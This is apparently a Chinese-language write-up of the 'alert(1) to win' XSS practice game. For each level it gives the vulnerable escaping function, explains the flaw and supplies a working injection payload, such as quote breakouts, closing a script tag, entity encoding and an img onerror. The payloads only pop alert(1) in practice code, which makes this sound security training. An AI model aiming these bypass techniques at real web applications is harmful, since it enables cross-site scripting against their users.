alert(1)-writeup

alert(1) to win XSS在线练习题

Warmup

1
2
3
function escape(s) {
return '<script>console.log("'+s+'");</script>';
}

基本操作:

1
");alert(1)//

Adobe

1
2
3
4
function escape(s) {
s = s.replace(/"/g, '\\"');
return '<script>console.log("' + s + '");</script>';
}

此题将"进行了转义,可以再传入一个\将前面的\"进行转义,使得后面的引号逃逸出来。

1
\");alert(1)//

JSON

1
2
3
4
function escape(s) {
s = JSON.stringify(s);
return '<script>console.log(' + s + ');</script>';
}

json.stringify会转义双引号"而不会转义<>,所以直接闭合即可

1
</script><script>alert(1)//

JavaScript

1
2
3
4
5
6
7
8
9
function escape(s) {
var url = 'javascript:console.log(' + JSON.stringify(s) + ')';
console.log(url);
var a = document.createElement('a');
a.href = url;
document.body.appendChild(a);
a.click();
}

由于最终内容为url中,而s中的内容需要通过JSON.stringify(),所以可以使用urlencode,将"%22代替即可。

1
%22);alert(1)//

Markdown

1
2
3
4
5
6
7
8
function escape(s) {
var text = s.replace(/</g, '&lt;').replace(/"/g, '&quot;');
// URLs
text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
// [[img123|Description]]
text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
return text;
}

发现< 和 " 都被转义了,而程序会将http[[a|b]] 分别替代为了<a><img> 标签,这里我们构造,使得<a>标签中内嵌一个<img>然后前后引号进行闭合,从而进行逃逸,结果如下:

1
[[a|http://onerror='alert(1)']]

DOM

1
2
3
4
5
6
7
8
9
10
function escape(s) {
// Slightly too lazy to make two input fields.
// Pass in something like "TextNode#foo"
var m = s.split(/#/);
// Only slightly contrived at this point.
var a = document.createElement('div');
a.appendChild(document['create'+m[0]].apply(document, m.slice(1)));
return a.innerHTML;
}

这里需要一个脑洞,就是create+m[0] 如果m[0]是某些字段,使得其成为关键字,创建某些节点。

1
Comment#--><img src=x onerror=alert(1)><!--

Callback

1
2
3
4
5
6
7
8
9
function escape(s) {
// Pass inn "callback#userdata"
var thing = s.split(/#/);
if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
var obj = {'userdata': thing[1] };
var json = JSON.stringify(obj).replace(/</g, '\\u003c');
return "<script>" + thing[0] + "(" + json +")</script>";
}

使用'进行闭合,使其成为一个字符串。之后即可

1
'#';alert(1)//

Skandia

1
2
3
function escape(s) {
return '<script>console.log("' + s.toUpperCase() + '")</script>';
}

由于使用了Upper函数,js函数会失效,而使用标签是可以的。这里使用HTML实体编码,大写后依然有效。

1
");></script><img src=# onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>

Template

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function escape(s) {
function htmlEscape(s) {
return s.replace(/./g, function(x) {
return { '<': '&lt;', '>': '&gt;', '&': '&amp;', '"': '&quot;', "'": '&#39;' }[x] || x;
});
}
function expandTemplate(template, args) {
return template.replace(
/{(\w+)}/g,
function(_, n) {
return htmlEscape(args[n]);
});
}
return expandTemplate(
" \n\
<h2>Hello, <span id=name></span>!</h2> \n\
<script> \n\
var v = document.getElementById('name'); \n\
v.innerHTML = '<a href=#>{name}</a>'; \n\
<\/script> \n\
",
{ name : s }
);
}

可以利用十进制或者是十六进制来替换<>,来绕过这个函数。

1
\u003cimg src=a onerror=alert(1)\u003e

JSON ][

1
2
3
4
5
function escape(s) {
s = JSON.stringify(s).replace(/<\/script/gi, '');
return '<script>console.log(' + s + ');</script>';
}

通过重复构造出最终结果。

1
<</script/script><img src=# onerror=alert(1)

Callback ][

1
2
3
4
5
6
7
8
9
function escape(s) {
// Pass inn "callback#userdata"
var thing = s.split(/#/);
if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
var obj = {'userdata': thing[1] };
var json = JSON.stringify(obj).replace(/\//g, '\\/');
return "<script>" + thing[0] + "(" + json +")</script>";
}

基本操作

1
'#';alert(1)<!--

Skandia ][

1
2
3
4
5
function escape(s) {
if (/[<>]/.test(s)) return '-';
return '<script>console.log("' + s.toUpperCase() + '")</script>';
}

神操作——JSFUCK,JSFuck 用+! 完成任意语句,详见这里,语句转换器在这里